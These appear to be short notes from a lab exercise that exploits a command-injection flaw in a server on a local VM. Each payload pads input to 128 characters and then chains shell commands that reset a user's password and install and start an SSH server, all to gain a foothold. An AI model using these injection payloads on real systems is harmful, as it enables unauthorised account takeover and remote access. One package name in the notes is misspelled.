

VM address / port : 192.168.56.101 / 1234

- Changed user password
- Installed open-ssh
- Installed build-essential
- Ssh into vm to upload and run code to change html file read and outputted by server

Test :

This is a placeholder text that is supposed to be 128 characters long but it has to be filled to reach this goal so here is me !;echo "Injection\n";sudo systemctl start ssh;echo "Final\n";

Change password :

```
echo -e "1234\n1234" | passwd user
```

This is a placeholder text that is supposed to be 128 characters long but it has to be filled to reach this goal so here is me !;sudo echo -e "1234\n1234" | passwd user;echo "done";

Install ssh :

Install SSH : sudo apt-get install openssh-server

Enable SSH : sudo systemctl enable ssh

Start SSH : sudo systemctl start ssh

This is a placeholder text that is supposed to be 128 characters long but it has to be filled to reach this goal so here is me !; sudo apt-get install openssh-server -y ;sudo systemctl enable ssh;sudo systemctl start ssh;echo "ssh done";

Build essentials:

This is a placeholder text that is supposed to be 128 characters long but it has to be filled to reach this goal so here is me !; sudo apt-get install build-essentials -y ;echo "done";
